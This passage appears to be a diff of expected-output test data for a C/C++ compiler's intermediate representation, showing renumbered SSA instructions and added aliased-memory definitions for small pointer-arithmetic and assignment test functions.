r0_26, m0_5 -# 159| r0_28(int *) = PointerSub[4] : r0_25, r0_27 -# 159| r0_29(glval) = VariableAddress[q] : -# 159| m0_30(int *) = Store : r0_29, r0_28 -# 160| r0_31(glval) = VariableAddress[p] : -# 160| r0_32(int *) = Load : r0_31, m0_3 -# 160| r0_33(glval) = VariableAddress[q] : -# 160| r0_34(int *) = Load : r0_33, m0_30 -# 160| r0_35(long) = PointerDiff[4] : r0_32, r0_34 -# 160| r0_36(int) = Convert : r0_35 -# 160| r0_37(glval) = VariableAddress[i] : -# 160| m0_38(int) = Store : r0_37, r0_36 -# 162| r0_39(glval) = VariableAddress[p] : -# 162| r0_40(int *) = Load : r0_39, m0_3 -# 162| r0_41(glval) = VariableAddress[q] : -# 162| m0_42(int *) = Store : r0_41, r0_40 -# 164| r0_43(glval) = VariableAddress[i] : -# 164| r0_44(int) = Load : r0_43, m0_38 -# 164| r0_45(glval) = VariableAddress[q] : -# 164| r0_46(int *) = Load : r0_45, m0_42 -# 164| r0_47(int *) = PointerAdd[4] : r0_46, r0_44 -# 164| m0_48(int *) = Store : r0_45, r0_47 -# 165| r0_49(glval) = VariableAddress[i] : -# 165| r0_50(int) = Load : r0_49, m0_38 -# 165| r0_51(glval) = VariableAddress[q] : -# 165| r0_52(int *) = Load : r0_51, m0_48 -# 165| r0_53(int *) = PointerSub[4] : r0_52, r0_50 -# 165| m0_54(int *) = Store : r0_51, r0_53 -# 167| r0_55(glval) = VariableAddress[p] : -# 167| r0_56(int *) = Load : r0_55, m0_3 -# 167| r0_57(int *) = Constant[0] : -# 167| r0_58(bool) = CompareNE : r0_56, r0_57 -# 167| r0_59(glval) = VariableAddress[b] : -# 167| m0_60(bool) = Store : r0_59, r0_58 -# 168| r0_61(glval) = VariableAddress[p] : -# 168| r0_62(int *) = Load : r0_61, m0_3 -# 168| r0_63(int *) = Constant[0] : -# 168| r0_64(bool) = CompareNE : r0_62, r0_63 -# 168| r0_65(bool) = LogicalNot : r0_64 -# 168| r0_66(glval) = VariableAddress[b] : -# 168| m0_67(bool) = Store : r0_66, r0_65 -# 169| v0_68(void) = NoOp : -# 153| v0_69(void) = ReturnVoid : -# 153| v0_70(void) = UnmodeledUse : mu* -# 153| v0_71(void) = ExitFunction : +# 153| m0_1(unknown) = AliasedDefinition : +# 153| mu0_2(unknown) = UnmodeledDefinition : +# 153| r0_3(glval) = VariableAddress[p] : +# 153| m0_4(int *) = InitializeParameter[p] : r0_3 +# 153| r0_5(glval) = VariableAddress[i] : +# 153| m0_6(int) = InitializeParameter[i] : r0_5 +# 154| r0_7(glval) = VariableAddress[q] : +# 154| m0_8(int *) = Uninitialized[q] : r0_7 +# 155| r0_9(glval) = VariableAddress[b] : +# 155| m0_10(bool) = Uninitialized[b] : r0_9 +# 157| r0_11(glval) = VariableAddress[p] : +# 157| r0_12(int *) = Load : r0_11, m0_4 +# 157| r0_13(glval) = VariableAddress[i] : +# 157| r0_14(int) = Load : r0_13, m0_6 +# 157| r0_15(int *) = PointerAdd[4] : r0_12, r0_14 +# 157| r0_16(glval) = VariableAddress[q] : +# 157| m0_17(int *) = Store : r0_16, r0_15 +# 158| r0_18(glval) = VariableAddress[i] : +# 158| r0_19(int) = Load : r0_18, m0_6 +# 158| r0_20(glval) = VariableAddress[p] : +# 158| r0_21(int *) = Load : r0_20, m0_4 +# 158| r0_22(int *) = PointerAdd[4] : r0_21, r0_19 +# 158| r0_23(glval) = VariableAddress[q] : +# 158| m0_24(int *) = Store : r0_23, r0_22 +# 159| r0_25(glval) = VariableAddress[p] : +# 159| r0_26(int *) = Load : r0_25, m0_4 +# 159| r0_27(glval) = VariableAddress[i] : +# 159| r0_28(int) = Load : r0_27, m0_6 +# 159| r0_29(int *) = PointerSub[4] : r0_26, r0_28 +# 159| r0_30(glval) = VariableAddress[q] : +# 159| m0_31(int *) = Store : r0_30, r0_29 +# 160| r0_32(glval) = VariableAddress[p] : +# 160| r0_33(int *) = Load : r0_32, m0_4 +# 160| r0_34(glval) = VariableAddress[q] : +# 160| r0_35(int *) = Load : r0_34, m0_31 +# 160| r0_36(long) = PointerDiff[4] : r0_33, r0_35 +# 160| r0_37(int) = Convert : r0_36 +# 160| r0_38(glval) = VariableAddress[i] : +# 160| m0_39(int) = Store : r0_38, r0_37 +# 162| r0_40(glval) = VariableAddress[p] : +# 162| r0_41(int *) = Load : r0_40, m0_4 +# 162| r0_42(glval) = VariableAddress[q] : +# 162| m0_43(int *) = Store : r0_42, r0_41 +# 164| r0_44(glval) = VariableAddress[i] : +# 164| r0_45(int) = Load : r0_44, m0_39 +# 164| r0_46(glval) = VariableAddress[q] : +# 164| r0_47(int *) = Load : r0_46, m0_43 +# 164| r0_48(int *) = PointerAdd[4] : r0_47, r0_45 +# 164| m0_49(int *) = Store : r0_46, r0_48 +# 165| r0_50(glval) = VariableAddress[i] : +# 165| r0_51(int) = Load : r0_50, m0_39 +# 165| r0_52(glval) = VariableAddress[q] : +# 165| r0_53(int *) = Load : r0_52, m0_49 +# 165| r0_54(int *) = PointerSub[4] : r0_53, r0_51 +# 165| m0_55(int *) = Store : r0_52, r0_54 +# 167| r0_56(glval) = VariableAddress[p] : +# 167| r0_57(int *) = Load : r0_56, m0_4 +# 167| r0_58(int *) = Constant[0] : +# 167| r0_59(bool) = CompareNE : r0_57, r0_58 +# 167| r0_60(glval) = VariableAddress[b] : +# 167| m0_61(bool) = Store : r0_60, r0_59 +# 168| r0_62(glval) = VariableAddress[p] : +# 168| r0_63(int *) = Load : r0_62, m0_4 +# 168| r0_64(int *) = Constant[0] : +# 168| r0_65(bool) = CompareNE : r0_63, r0_64 +# 168| r0_66(bool) = LogicalNot : r0_65 +# 168| r0_67(glval) = VariableAddress[b] : +# 168| m0_68(bool) = Store : r0_67, r0_66 +# 169| v0_69(void) = NoOp : +# 153| v0_70(void) = ReturnVoid : +# 153| v0_71(void) = UnmodeledUse : mu* +# 153| v0_72(void) = ExitFunction : # 171| ArrayAccess(int *, int) -> void # 171| Block 0 # 171| v0_0(void) = EnterFunction : -# 171| mu0_1(unknown) = UnmodeledDefinition : -# 171| r0_2(glval) = VariableAddress[p] : -# 171| m0_3(int *) = InitializeParameter[p] : r0_2 -# 171| r0_4(glval) = VariableAddress[i] : -# 171| m0_5(int) = InitializeParameter[i] : r0_4 -# 172| r0_6(glval) = VariableAddress[x] : -# 172| m0_7(int) = Uninitialized : r0_6 -# 174| r0_8(glval) = VariableAddress[p] : -# 174| r0_9(int *) = Load : r0_8, m0_3 -# 174| r0_10(glval) = VariableAddress[i] : -# 174| r0_11(int) = Load : r0_10, m0_5 -# 174| r0_12(int *) = PointerAdd[4] : r0_9, r0_11 -# 174| r0_13(int) = Load : r0_12, mu0_1 -# 174| r0_14(glval) = VariableAddress[x] : -# 174| m0_15(int) = Store : r0_14, r0_13 -# 175| r0_16(glval) = VariableAddress[p] : -# 175| r0_17(int *) = Load : r0_16, m0_3 -# 175| r0_18(glval) = VariableAddress[i] : -# 175| r0_19(int) = Load : r0_18, m0_5 -# 175| r0_20(int *) = PointerAdd[4] : r0_17, r0_19 -# 175| r0_21(int) = Load : r0_20, mu0_1 -# 175| r0_22(glval) = VariableAddress[x] : -# 175| m0_23(int) = Store : r0_22, r0_21 -# 177| r0_24(glval) = VariableAddress[x] : -# 177| r0_25(int) = Load : r0_24, m0_23 -# 177| r0_26(glval) = VariableAddress[p] : -# 177| r0_27(int *) = Load : r0_26, m0_3 -# 177| r0_28(glval) = VariableAddress[i] : -# 177| r0_29(int) = Load : r0_28, m0_5 -# 177| r0_30(int *) = PointerAdd[4] : r0_27, r0_29 -# 177| mu0_31(int) = Store : r0_30, r0_25 -# 178| r0_32(glval) = VariableAddress[x] : -# 178| r0_33(int) = Load : r0_32, m0_23 -# 178| r0_34(glval) = VariableAddress[p] : -# 178| r0_35(int *) = Load : r0_34, m0_3 -# 178| r0_36(glval) = VariableAddress[i] : -# 178| r0_37(int) = Load : r0_36, m0_5 -# 178| r0_38(int *) = PointerAdd[4] : r0_35, r0_37 -# 178| mu0_39(int) = Store : r0_38, r0_33 -# 180| r0_40(glval) = VariableAddress[a] : -# 180| m0_41(int[10]) = Uninitialized : r0_40 -# 181| r0_42(glval) = VariableAddress[a] : -# 181| r0_43(int *) = Convert : r0_42 -# 181| r0_44(glval) = VariableAddress[i] : -# 181| r0_45(int) = Load : r0_44, m0_5 -# 181| r0_46(int *) = PointerAdd[4] : r0_43, r0_45 -# 181| r0_47(int) = Load : r0_46, mu0_1 -# 181| r0_48(glval) = VariableAddress[x] : -# 181| m0_49(int) = Store : r0_48, r0_47 -# 182| r0_50(glval) = VariableAddress[a] : -# 182| r0_51(int *) = Convert : r0_50 -# 182| r0_52(glval) = VariableAddress[i] : -# 182| r0_53(int) = Load : r0_52, m0_5 -# 182| r0_54(int *) = PointerAdd[4] : r0_51, r0_53 -# 182| r0_55(int) = Load : r0_54, mu0_1 -# 182| r0_56(glval) = VariableAddress[x] : -# 182| m0_57(int) = Store : r0_56, r0_55 -# 183| r0_58(glval) = VariableAddress[x] : -# 183| r0_59(int) = Load : r0_58, m0_57 -# 183| r0_60(glval) = VariableAddress[a] : -# 183| r0_61(int *) = Convert : r0_60 -# 183| r0_62(glval) = VariableAddress[i] : -# 183| r0_63(int) = Load : r0_62, m0_5 -# 183| r0_64(int *) = PointerAdd[4] : r0_61, r0_63 -# 183| mu0_65(int) = Store : r0_64, r0_59 -# 184| r0_66(glval) = VariableAddress[x] : -# 184| r0_67(int) = Load : r0_66, m0_57 -# 184| r0_68(glval) = VariableAddress[a] : -# 184| r0_69(int *) = Convert : r0_68 -# 184| r0_70(glval) = VariableAddress[i] : -# 184| r0_71(int) = Load : r0_70, m0_5 -# 184| r0_72(int *) = PointerAdd[4] : r0_69, r0_71 -# 184| mu0_73(int) = Store : r0_72, r0_67 -# 185| v0_74(void) = NoOp : -# 171| v0_75(void) = ReturnVoid : -# 171| v0_76(void) = UnmodeledUse : mu* -# 171| v0_77(void) = ExitFunction : +# 171| m0_1(unknown) = AliasedDefinition : +# 171| mu0_2(unknown) = UnmodeledDefinition : +# 171| r0_3(glval) = VariableAddress[p] : +# 171| m0_4(int *) = InitializeParameter[p] : r0_3 +# 171| r0_5(glval) = VariableAddress[i] : +# 171| m0_6(int) = InitializeParameter[i] : r0_5 +# 172| r0_7(glval) = VariableAddress[x] : +# 172| m0_8(int) = Uninitialized[x] : r0_7 +# 174| r0_9(glval) = VariableAddress[p] : +# 174| r0_10(int *) = Load : r0_9, m0_4 +# 174| r0_11(glval) = VariableAddress[i] : +# 174| r0_12(int) = Load : r0_11, m0_6 +# 174| r0_13(int *) = PointerAdd[4] : r0_10, r0_12 +# 174| r0_14(int) = Load : r0_13, m0_1 +# 174| r0_15(glval) = VariableAddress[x] : +# 174| m0_16(int) = Store : r0_15, r0_14 +# 175| r0_17(glval) = VariableAddress[p] : +# 175| r0_18(int *) = Load : r0_17, m0_4 +# 175| r0_19(glval) = VariableAddress[i] : +# 175| r0_20(int) = Load : r0_19, m0_6 +# 175| r0_21(int *) = PointerAdd[4] : r0_18, r0_20 +# 175| r0_22(int) = Load : r0_21, m0_1 +# 175| r0_23(glval) = VariableAddress[x] : +# 175| m0_24(int) = Store : r0_23, r0_22 +# 177| r0_25(glval) = VariableAddress[x] : +# 177| r0_26(int) = Load : r0_25, m0_24 +# 177| r0_27(glval) = VariableAddress[p] : +# 177| r0_28(int *) = Load : r0_27, m0_4 +# 177| r0_29(glval) = VariableAddress[i] : +# 177| r0_30(int) = Load : r0_29, m0_6 +# 177| r0_31(int *) = PointerAdd[4] : r0_28, r0_30 +# 177| m0_32(int) = Store : r0_31, r0_26 +# 177| m0_33(unknown) = Chi : m0_1, m0_32 +# 178| r0_34(glval) = VariableAddress[x] : +# 178| r0_35(int) = Load : r0_34, m0_24 +# 178| r0_36(glval) = VariableAddress[p] : +# 178| r0_37(int *) = Load : r0_36, m0_4 +# 178| r0_38(glval) = VariableAddress[i] : +# 178| r0_39(int) = Load : r0_38, m0_6 +# 178| r0_40(int *) = PointerAdd[4] : r0_37, r0_39 +# 178| m0_41(int) = Store : r0_40, r0_35 +# 178| m0_42(unknown) = Chi : m0_33, m0_41 +# 180| r0_43(glval) = VariableAddress[a] : +# 180| m0_44(int[10]) = Uninitialized[a] : r0_43 +# 181| r0_45(glval) = VariableAddress[a] : +# 181| r0_46(int *) = Convert : r0_45 +# 181| r0_47(glval) = VariableAddress[i] : +# 181| r0_48(int) = Load : r0_47, m0_6 +# 181| r0_49(int *) = PointerAdd[4] : r0_46, r0_48 +# 181| r0_50(int) = Load : r0_49, mu0_2 +# 181| r0_51(glval) = VariableAddress[x] : +# 181| m0_52(int) = Store : r0_51, r0_50 +# 182| r0_53(glval) = VariableAddress[a] : +# 182| r0_54(int *) = Convert : r0_53 +# 182| r0_55(glval) = VariableAddress[i] : +# 182| r0_56(int) = Load : r0_55, m0_6 +# 182| r0_57(int *) = PointerAdd[4] : r0_54, r0_56 +# 182| r0_58(int) = Load : r0_57, mu0_2 +# 182| r0_59(glval) = VariableAddress[x] : +# 182| m0_60(int) = Store : r0_59, r0_58 +# 183| r0_61(glval) = VariableAddress[x] : +# 183| r0_62(int) = Load : r0_61, m0_60 +# 183| r0_63(glval) = VariableAddress[a] : +# 183| r0_64(int *) = Convert : r0_63 +# 183| r0_65(glval) = VariableAddress[i] : +# 183| r0_66(int) = Load : r0_65, m0_6 +# 183| r0_67(int *) = PointerAdd[4] : r0_64, r0_66 +# 183| m0_68(int) = Store : r0_67, r0_62 +# 183| m0_69(int[10]) = Chi : m0_44, m0_68 +# 184| r0_70(glval) = VariableAddress[x] : +# 184| r0_71(int) = Load : r0_70, m0_60 +# 184| r0_72(glval) = VariableAddress[a] : +# 184| r0_73(int *) = Convert : r0_72 +# 184| r0_74(glval) = VariableAddress[i] : +# 184| r0_75(int) = Load : r0_74, m0_6 +# 184| r0_76(int *) = PointerAdd[4] : r0_73, r0_75 +# 184| m0_77(int) = Store : r0_76, r0_71 +# 184| m0_78(int[10]) = Chi : m0_69, m0_77 +# 185| v0_79(void) = NoOp : +# 171| v0_80(void) = ReturnVoid : +# 171| v0_81(void) = UnmodeledUse : mu* +# 171| v0_82(void) = ExitFunction : # 187| StringLiteral(int) -> void # 187| Block 0 # 187| v0_0(void) = EnterFunction : -# 187| mu0_1(unknown) = UnmodeledDefinition : -# 187| r0_2(glval) = VariableAddress[i] : -# 187| m0_3(int) = InitializeParameter[i] : r0_2 -# 188| r0_4(glval) = VariableAddress[c] : -# 188| r0_5(glval) = StringConstant["Foo"] : -# 188| r0_6(char *) = Convert : r0_5 -# 188| r0_7(glval) = VariableAddress[i] : -# 188| r0_8(int) = Load : r0_7, m0_3 -# 188| r0_9(char *) = PointerAdd[1] : r0_6, r0_8 -# 188| r0_10(char) = Load : r0_9, mu0_1 -# 188| m0_11(char) = Store : r0_4, r0_10 -# 189| r0_12(glval) = VariableAddress[pwc] : -# 189| r0_13(glval) = StringConstant[L"Bar"] : -# 189| r0_14(wchar_t *) = Convert : r0_13 +# 187| m0_1(unknown) = AliasedDefinition : +# 187| mu0_2(unknown) = UnmodeledDefinition : +# 187| r0_3(glval) = VariableAddress[i] : +# 187| m0_4(int) = InitializeParameter[i] : r0_3 +# 188| r0_5(glval) = VariableAddress[c] : +# 188| r0_6(glval) = StringConstant["Foo"] : +# 188| r0_7(char *) = Convert : r0_6 +# 188| r0_8(glval) = VariableAddress[i] : +# 188| r0_9(int) = Load : r0_8, m0_4 +# 188| r0_10(char *) = PointerAdd[1] : r0_7, r0_9 +# 188| r0_11(char) = Load : r0_10, m0_1 +# 188| m0_12(char) = Store : r0_5, r0_11 +# 189| r0_13(glval) = VariableAddress[pwc] : +# 189| r0_14(glval) = StringConstant[L"Bar"] : # 189| r0_15(wchar_t *) = Convert : r0_14 -# 189| m0_16(wchar_t *) = Store : r0_12, r0_15 -# 190| r0_17(glval) = VariableAddress[wc] : -# 190| r0_18(glval) = VariableAddress[pwc] : -# 190| r0_19(wchar_t *) = Load : r0_18, m0_16 -# 190| r0_20(glval) = VariableAddress[i] : -# 190| r0_21(int) = Load : r0_20, m0_3 -# 190| r0_22(wchar_t *) = PointerAdd[4] : r0_19, r0_21 -# 190| r0_23(wchar_t) = Load : r0_22, mu0_1 -# 190| m0_24(wchar_t) = Store : r0_17, r0_23 -# 191| v0_25(void) = NoOp : -# 187| v0_26(void) = ReturnVoid : -# 187| v0_27(void) = UnmodeledUse : mu* -# 187| v0_28(void) = ExitFunction : +# 189| r0_16(wchar_t *) = Convert : r0_15 +# 189| m0_17(wchar_t *) = Store : r0_13, r0_16 +# 190| r0_18(glval) = VariableAddress[wc] : +# 190| r0_19(glval) = VariableAddress[pwc] : +# 190| r0_20(wchar_t *) = Load : r0_19, m0_17 +# 190| r0_21(glval) = VariableAddress[i] : +# 190| r0_22(int) = Load : r0_21, m0_4 +# 190| r0_23(wchar_t *) = PointerAdd[4] : r0_20, r0_22 +# 190| r0_24(wchar_t) = Load : r0_23, m0_1 +# 190| m0_25(wchar_t) = Store : r0_18, r0_24 +# 191| v0_26(void) = NoOp : +# 187| v0_27(void) = ReturnVoid : +# 187| v0_28(void) = UnmodeledUse : mu* +# 187| v0_29(void) = ExitFunction : # 193| PointerCompare(int *, int *) -> void # 193| Block 0 # 193| v0_0(void) = EnterFunction : -# 193| mu0_1(unknown) = UnmodeledDefinition : -# 193| r0_2(glval) = VariableAddress[p] : -# 193| m0_3(int *) = InitializeParameter[p] : r0_2 -# 193| r0_4(glval) = VariableAddress[q] : -# 193| m0_5(int *) = InitializeParameter[q] : r0_4 -# 194| r0_6(glval) = VariableAddress[b] : -# 194| m0_7(bool) = Uninitialized : r0_6 -# 196| r0_8(glval) = VariableAddress[p] : -# 196| r0_9(int *) = Load : r0_8, m0_3 -# 196| r0_10(glval) = VariableAddress[q] : -# 196| r0_11(int *) = Load : r0_10, m0_5 -# 196| r0_12(bool) = CompareEQ : r0_9, r0_11 -# 196| r0_13(glval) = VariableAddress[b] : -# 196| m0_14(bool) = Store : r0_13, r0_12 -# 197| r0_15(glval) = VariableAddress[p] : -# 197| r0_16(int *) = Load : r0_15, m0_3 -# 197| r0_17(glval) = VariableAddress[q] : -# 197| r0_18(int *) = Load : r0_17, m0_5 -# 197| r0_19(bool) = CompareNE : r0_16, r0_18 -# 197| r0_20(glval) = VariableAddress[b] : -# 197| m0_21(bool) = Store : r0_20, r0_19 -# 198| r0_22(glval) = VariableAddress[p] : -# 198| r0_23(int *) = Load : r0_22, m0_3 -# 198| r0_24(glval) = VariableAddress[q] : -# 198| r0_25(int *) = Load : r0_24, m0_5 -# 198| r0_26(bool) = CompareLT : r0_23, r0_25 -# 198| r0_27(glval) = VariableAddress[b] : -# 198| m0_28(bool) = Store : r0_27, r0_26 -# 199| r0_29(glval) = VariableAddress[p] : -# 199| r0_30(int *) = Load : r0_29, m0_3 -# 199| r0_31(glval) = VariableAddress[q] : -# 199| r0_32(int *) = Load : r0_31, m0_5 -# 199| r0_33(bool) = CompareGT : r0_30, r0_32 -# 199| r0_34(glval) = VariableAddress[b] : -# 199| m0_35(bool) = Store : r0_34, r0_33 -# 200| r0_36(glval) = VariableAddress[p] : -# 200| r0_37(int *) = Load : r0_36, m0_3 -# 200| r0_38(glval) = VariableAddress[q] : -# 200| r0_39(int *) = Load : r0_38, m0_5 -# 200| r0_40(bool) = CompareLE : r0_37, r0_39 -# 200| r0_41(glval) = VariableAddress[b] : -# 200| m0_42(bool) = Store : r0_41, r0_40 -# 201| r0_43(glval) = VariableAddress[p] : -# 201| r0_44(int *) = Load : r0_43, m0_3 -# 201| r0_45(glval) = VariableAddress[q] : -# 201| r0_46(int *) = Load : r0_45, m0_5 -# 201| r0_47(bool) = CompareGE : r0_44, r0_46 -# 201| r0_48(glval) = VariableAddress[b] : -# 201| m0_49(bool) = Store : r0_48, r0_47 -# 202| v0_50(void) = NoOp : -# 193| v0_51(void) = ReturnVoid : -# 193| v0_52(void) = UnmodeledUse : mu* -# 193| v0_53(void) = ExitFunction : +# 193| m0_1(unknown) = AliasedDefinition : +# 193| mu0_2(unknown) = UnmodeledDefinition : +# 193| r0_3(glval) = VariableAddress[p] : +# 193| m0_4(int *) = InitializeParameter[p] : r0_3 +# 193| r0_5(glval) = VariableAddress[q] : +# 193| m0_6(int *) = InitializeParameter[q] : r0_5 +# 194| r0_7(glval) = VariableAddress[b] : +# 194| m0_8(bool) = Uninitialized[b] : r0_7 +# 196| r0_9(glval) = VariableAddress[p] : +# 196| r0_10(int *) = Load : r0_9, m0_4 +# 196| r0_11(glval) = VariableAddress[q] : +# 196| r0_12(int *) = Load : r0_11, m0_6 +# 196| r0_13(bool) = CompareEQ : r0_10, r0_12 +# 196| r0_14(glval) = VariableAddress[b] : +# 196| m0_15(bool) = Store : r0_14, r0_13 +# 197| r0_16(glval) = VariableAddress[p] : +# 197| r0_17(int *) = Load : r0_16, m0_4 +# 197| r0_18(glval) = VariableAddress[q] : +# 197| r0_19(int *) = Load : r0_18, m0_6 +# 197| r0_20(bool) = CompareNE : r0_17, r0_19 +# 197| r0_21(glval) = VariableAddress[b] : +# 197| m0_22(bool) = Store : r0_21, r0_20 +# 198| r0_23(glval) = VariableAddress[p] : +# 198| r0_24(int *) = Load : r0_23, m0_4 +# 198| r0_25(glval) = VariableAddress[q] : +# 198| r0_26(int *) = Load : r0_25, m0_6 +# 198| r0_27(bool) = CompareLT : r0_24, r0_26 +# 198| r0_28(glval) = VariableAddress[b] : +# 198| m0_29(bool) = Store : r0_28, r0_27 +# 199| r0_30(glval) = VariableAddress[p] : +# 199| r0_31(int *) = Load : r0_30, m0_4 +# 199| r0_32(glval) = VariableAddress[q] : +# 199| r0_33(int *) = Load : r0_32, m0_6 +# 199| r0_34(bool) = CompareGT : r0_31, r0_33 +# 199| r0_35(glval) = VariableAddress[b] : +# 199| m0_36(bool) = Store : r0_35, r0_34 +# 200| r0_37(glval) = VariableAddress[p] : +# 200| r0_38(int *) = Load : r0_37, m0_4 +# 200| r0_39(glval) = VariableAddress[q] : +# 200| r0_40(int *) = Load : r0_39, m0_6 +# 200| r0_41(bool) = CompareLE : r0_38, r0_40 +# 200| r0_42(glval) = VariableAddress[b] : +# 200| m0_43(bool) = Store : r0_42, r0_41 +# 201| r0_44(glval) = VariableAddress[p] : +# 201| r0_45(int *) = Load : r0_44, m0_4 +# 201| r0_46(glval) = VariableAddress[q] : +# 201| r0_47(int *) = Load : r0_46, m0_6 +# 201| r0_48(bool) = CompareGE : r0_45, r0_47 +# 201| r0_49(glval) = VariableAddress[b] : +# 201| m0_50(bool) = Store : r0_49, r0_48 +# 202| v0_51(void) = NoOp : +# 193| v0_52(void) = ReturnVoid : +# 193| v0_53(void) = UnmodeledUse : mu* +# 193| v0_54(void) = ExitFunction : # 204| PointerCrement(int *) -> void # 204| Block 0 # 204| v0_0(void) = EnterFunction : -# 204| mu0_1(unknown) = UnmodeledDefinition : -# 204| r0_2(glval) = VariableAddress[p] : -# 204| m0_3(int *) = InitializeParameter[p] : r0_2 -# 205| r0_4(glval) = VariableAddress[q] : -# 205| m0_5(int *) = Uninitialized : r0_4 -# 207| r0_6(glval) = VariableAddress[p] : -# 207| r0_7(int *) = Load : r0_6, m0_3 -# 207| r0_8(int) = Constant[1] : -# 207| r0_9(int *) = PointerAdd[4] : r0_7, r0_8 -# 207| m0_10(int *) = Store : r0_6, r0_9 -# 207| r0_11(glval) = VariableAddress[q] : -# 207| m0_12(int *) = Store : r0_11, r0_9 -# 208| r0_13(glval) = VariableAddress[p] : -# 208| r0_14(int *) = Load : r0_13, m0_10 -# 208| r0_15(int) = Constant[1] : -# 208| r0_16(int *) = PointerSub[4] : r0_14, r0_15 -# 208| m0_17(int *) = Store : r0_13, r0_16 -# 208| r0_18(glval) = VariableAddress[q] : -# 208| m0_19(int *) = Store : r0_18, r0_16 -# 209| r0_20(glval) = VariableAddress[p] : -# 209| r0_21(int *) = Load : r0_20, m0_17 -# 209| r0_22(int) = Constant[1] : -# 209| r0_23(int *) = PointerAdd[4] : r0_21, r0_22 -# 209| m0_24(int *) = Store : r0_20, r0_23 -# 209| r0_25(glval) = VariableAddress[q] : -# 209| m0_26(int *) = Store : r0_25, r0_21 -# 210| r0_27(glval) = VariableAddress[p] : -# 210| r0_28(int *) = Load : r0_27, m0_24 -# 210| r0_29(int) = Constant[1] : -# 210| r0_30(int *) = PointerSub[4] : r0_28, r0_29 -# 210| m0_31(int *) = Store : r0_27, r0_30 -# 210| r0_32(glval) = VariableAddress[q] : -# 210| m0_33(int *) = Store : r0_32, r0_28 -# 211| v0_34(void) = NoOp : -# 204| v0_35(void) = ReturnVoid : -# 204| v0_36(void) = UnmodeledUse : mu* -# 204| v0_37(void) = ExitFunction : +# 204| m0_1(unknown) = AliasedDefinition : +# 204| mu0_2(unknown) = UnmodeledDefinition : +# 204| r0_3(glval) = VariableAddress[p] : +# 204| m0_4(int *) = InitializeParameter[p] : r0_3 +# 205| r0_5(glval) = VariableAddress[q] : +# 205| m0_6(int *) = Uninitialized[q] : r0_5 +# 207| r0_7(glval) = VariableAddress[p] : +# 207| r0_8(int *) = Load : r0_7, m0_4 +# 207| r0_9(int) = Constant[1] : +# 207| r0_10(int *) = PointerAdd[4] : r0_8, r0_9 +# 207| m0_11(int *) = Store : r0_7, r0_10 +# 207| r0_12(glval) = VariableAddress[q] : +# 207| m0_13(int *) = Store : r0_12, r0_10 +# 208| r0_14(glval) = VariableAddress[p] : +# 208| r0_15(int *) = Load : r0_14, m0_11 +# 208| r0_16(int) = Constant[1] : +# 208| r0_17(int *) = PointerSub[4] : r0_15, r0_16 +# 208| m0_18(int *) = Store : r0_14, r0_17 +# 208| r0_19(glval) = VariableAddress[q] : +# 208| m0_20(int *) = Store : r0_19, r0_17 +# 209| r0_21(glval) = VariableAddress[p] : +# 209| r0_22(int *) = Load : r0_21, m0_18 +# 209| r0_23(int) = Constant[1] : +# 209| r0_24(int *) = PointerAdd[4] : r0_22, r0_23 +# 209| m0_25(int *) = Store : r0_21, r0_24 +# 209| r0_26(glval) = VariableAddress[q] : +# 209| m0_27(int *) = Store : r0_26, r0_22 +# 210| r0_28(glval) = VariableAddress[p] : +# 210| r0_29(int *) = Load : r0_28, m0_25 +# 210| r0_30(int) = Constant[1] : +# 210| r0_31(int *) = PointerSub[4] : r0_29, r0_30 +# 210| m0_32(int *) = Store : r0_28, r0_31 +# 210| r0_33(glval) = VariableAddress[q] : +# 210| m0_34(int *) = Store : r0_33, r0_29 +# 211| v0_35(void) = NoOp : +# 204| v0_36(void) = ReturnVoid : +# 204| v0_37(void) = UnmodeledUse : mu* +# 204| v0_38(void) = ExitFunction : # 213| CompoundAssignment() -> void # 213| Block 0 # 213| v0_0(void) = EnterFunction : -# 213| mu0_1(unknown) = UnmodeledDefinition : -# 215| r0_2(glval) = VariableAddress[x] : -# 215| r0_3(int) = Constant[5] : -# 215| m0_4(int) = Store : r0_2, r0_3 -# 216| r0_5(int) = Constant[7] : -# 216| r0_6(glval) = VariableAddress[x] : -# 216| r0_7(int) = Load : r0_6, m0_4 -# 216| r0_8(int) = Add : r0_7, r0_5 -# 216| m0_9(int) = Store : r0_6, r0_8 -# 219| r0_10(glval) = VariableAddress[y] : -# 219| r0_11(short) = Constant[5] : -# 219| m0_12(short) = Store : r0_10, r0_11 -# 220| r0_13(glval) = VariableAddress[x] : -# 220| r0_14(int) = Load : r0_13, m0_9 -# 220| r0_15(glval) = VariableAddress[y] : -# 220| r0_16(short) = Load : r0_15, m0_12 -# 220| r0_17(int) = Convert : r0_16 -# 220| r0_18(int) = Add : r0_17, r0_14 -# 220| r0_19(short) = Convert : r0_18 -# 220| m0_20(short) = Store : r0_15, r0_19 -# 223| r0_21(int) = Constant[1] : -# 223| r0_22(glval) = VariableAddress[y] : -# 223| r0_23(short) = Load : r0_22, m0_20 -# 223| r0_24(short) = ShiftLeft : r0_23, r0_21 -# 223| m0_25(short) = Store : r0_22, r0_24 -# 226| r0_26(glval) = VariableAddress[z] : -# 226| r0_27(long) = Constant[7] : -# 226| m0_28(long) = Store : r0_26, r0_27 -# 227| r0_29(float) = Constant[2.0] : -# 227| r0_30(glval) = VariableAddress[z] : -# 227| r0_31(long) = Load : r0_30, m0_28 -# 227| r0_32(float) = Convert : r0_31 -# 227| r0_33(float) = Add : r0_32, r0_29 -# 227| r0_34(long) = Convert : r0_33 -# 227| m0_35(long) = Store : r0_30, r0_34 -# 228| v0_36(void) = NoOp : -# 213| v0_37(void) = ReturnVoid : -# 213| v0_38(void) = UnmodeledUse : mu* -# 213| v0_39(void) = ExitFunction : +# 213| m0_1(unknown) = AliasedDefinition : +# 213| mu0_2(unknown) = UnmodeledDefinition : +# 215| r0_3(glval) = VariableAddress[x] : +# 215| r0_4(int) = Constant[5] : +# 215| m0_5(int) = Store : r0_3, r0_4 +# 216| r0_6(int) = Constant[7] : +# 216| r0_7(glval) = VariableAddress[x] : +# 216| r0_8(int) = Load : r0_7, m0_5 +# 216| r0_9(int) = Add : r0_8, r0_6 +# 216| m0_10(int) = Store : r0_7, r0_9 +# 219| r0_11(glval) = VariableAddress[y] : +# 219| r0_12(short) = Constant[5] : +# 219| m0_13(short) = Store : r0_11, r0_12 +# 220| r0_14(glval) = VariableAddress[x] : +# 220| r0_15(int) = Load : r0_14, m0_10 +# 220| r0_16(glval) = VariableAddress[y] : +# 220| r0_17(short) = Load : r0_16, m0_13 +# 220| r0_18(int) = Convert : r0_17 +# 220| r0_19(int) = Add : r0_18, r0_15 +# 220| r0_20(short) = Convert : r0_19 +# 220| m0_21(short) = Store : r0_16, r0_20 +# 223| r0_22(int) = 